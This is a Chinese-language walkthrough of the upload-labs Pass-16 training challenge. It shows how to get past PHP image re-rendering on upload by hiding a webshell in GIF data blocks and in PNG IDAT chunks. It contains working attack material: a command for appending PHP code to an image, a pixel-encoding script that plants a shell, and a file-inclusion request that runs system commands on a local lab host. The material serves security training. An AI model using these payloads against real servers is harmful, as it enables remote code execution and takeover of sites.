upload-labs Pass-16(二次渲染)
原始碼
$is_upload = false; $msg = null; if (isset($_POST['submit'])){ // 獲得上傳檔案的基本資訊,檔名,型別,大小,臨時檔案路徑 $filename = $_FILES['upload_file']['name']; $filetype = $_FILES['upload_file']['type']; $tmpname = $_FILES['upload_file']['tmp_name']; $target_path=$UPLOAD_ADDR.basename($filename);// 獲得上傳檔案的副檔名 $fileext= substr(strrchr($filename,"."),1); //判斷檔案字尾與型別,合法才進行上傳操作 if(($fileext == "jpg") && ($filetype=="image/jpeg")){ if(move_uploaded_file($tmpname,$target_path)) { //使用上傳的圖片生成新的圖片 $im = imagecreatefromjpeg($target_path);if($im == false){ $msg = "該檔案不是jpg格式的圖片!"; }else{ //給新圖片指定檔名 srand(time()); $newfilename = strval(rand()).".jpg"; $newimagepath = $UPLOAD_ADDR.$newfilename; imagejpeg($im,$newimagepath);//顯示二次渲染後的圖片(使用使用者上傳圖片生成的新圖片) $img_path = $UPLOAD_ADDR.$newfilename; unlink($target_path); $is_upload = true; } } else { $msg = "上傳失敗!"; } }else if(($fileext == "png") && ($filetype=="image/png")){ if(move_uploaded_file($tmpname,$target_path)) { //使用上傳的圖片生成新的圖片 $im = imagecreatefrompng($target_path); if($im == false){ $msg = "該檔案不是png格式的圖片!"; }else{ //給新圖片指定檔名 srand(time()); $newfilename = strval(rand()).".png"; $newimagepath = $UPLOAD_ADDR.$newfilename; imagepng($im,$newimagepath); //顯示二次渲染後的圖片(使用使用者上傳圖片生成的新圖片) $img_path = $UPLOAD_ADDR.$newfilename; unlink($target_path); $is_upload = true; } } else { $msg = "上傳失敗!"; } }else if(($fileext == "gif") && ($filetype=="image/gif")){ if(move_uploaded_file($tmpname,$target_path)) { //使用上傳的圖片生成新的圖片 $im = imagecreatefromgif($target_path); if($im == false){ $msg = "該檔案不是gif格式的圖片!"; }else{ //給新圖片指定檔名 srand(time()); $newfilename = strval(rand()).".gif"; $newimagepath = $UPLOAD_ADDR.$newfilename; imagegif($im,$newimagepath); //顯示二次渲染後的圖片(使用使用者上傳圖片生成的新圖片) $img_path = $UPLOAD_ADDR.$newfilename; unlink($target_path); $is_upload = true; } } else { $msg = "上傳失敗!"; } }else{ $msg = "只允許上傳字尾為.jpg|.png|.gif的圖片檔案!"; } }
原理:將一個正常顯示的圖片,上傳到伺服器。尋找圖片被渲染後與原始圖片部分對比仍然相同的資料塊部分,將Webshell程式碼插在該部分,然後上傳。
GIF
先準備了一個gif檔案用hxd開啟,末尾加了一句話。也可以用cmd命令
copy picture.gif /b + phpinfo.php /a 111.gif
然後上傳。
然後下載上傳後的檔案,拖到hxd檢視,發現一句話已經沒了,將這兩張對比
很容易發現相同的地方,將一句話寫到相同的地方,儲存,上傳
將上傳後的再次拖到hxd,程式碼依舊存在,繞過成功
PNG
png檔案組成
png圖片由3個以上的資料塊組成。
PNG定義了兩種型別的資料塊,一種是稱為關鍵資料塊(critical chunk),這是標準的資料塊,另一種叫做輔助資料塊(ancillary chunks),這是可選的資料塊。關鍵資料塊定義了3個標準資料塊(IHDR,IDAT, IEND),每個PNG檔案都必須包含它們。
PLTE
調色盤PLTE資料塊是輔助資料塊,對於索引影象,調色盤資訊是必須的,調色盤的顏色索引從0開始編號,然後是1、2……,調色盤的顏色數不能超過色深中規定的顏色數(如影象色深為4的時候,調色盤中的顏色數不可以超過2^4=16),否則,這將導致PNG影象不合法。
IDAT
影象資料塊IDAT(image data chunk):它儲存實際的資料,在資料流中可包含多個連續順序的影象資料塊。
IDAT存放著影象真正的資料資訊,因此,如果能夠了解IDAT的結構,我們就可以很方便的生成PNG影象
IEND
影象結束資料IEND(image trailer chunk):它用來標記PNG檔案或者資料流已經結束,並且必須要放在檔案的尾部。
如果我們仔細觀察PNG檔案,我們會發現,檔案的結尾12個字元看起來總應該是這樣的:
00 00 00 00 49 45 4E 44 AE 42 60 82
第一種方法:寫入PLTE資料塊
php底層在對PLTE資料塊驗證的時候,主要進行了CRC校驗.所以可以再chunk data域插入php程式碼,然後重新計算相應的crc值並修改即可。
這種方式只針對索引彩色影象的png圖片才有效,在選取png圖片時可根據IHDR資料塊的color type辨別.03為索引彩色影象。
因為PLTE是輔助模組,找不到,所以這個方法不用了。
第二種方法:寫入IDAT資料塊
這裡有國外大牛寫的指令碼,直接拿來執行即可。
<?php $p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33); $img = imagecreatetruecolor(32, 32); for ($y = 0; $y < sizeof($p); $y += 3) { $r = $p[$y]; $g = $p[$y+1]; $b = $p[$y+2]; $color = imagecolorallocate($img, $r, $g, $b); imagesetpixel($img, round($y / 3), 0, $color); } imagepng($img,'./1.png'); ?>
我們來看一下這個馬
用檔案包含漏洞訪問
http://127.0.0.1/?0=system&file=./upload/222.png
POST執行命令
1=ls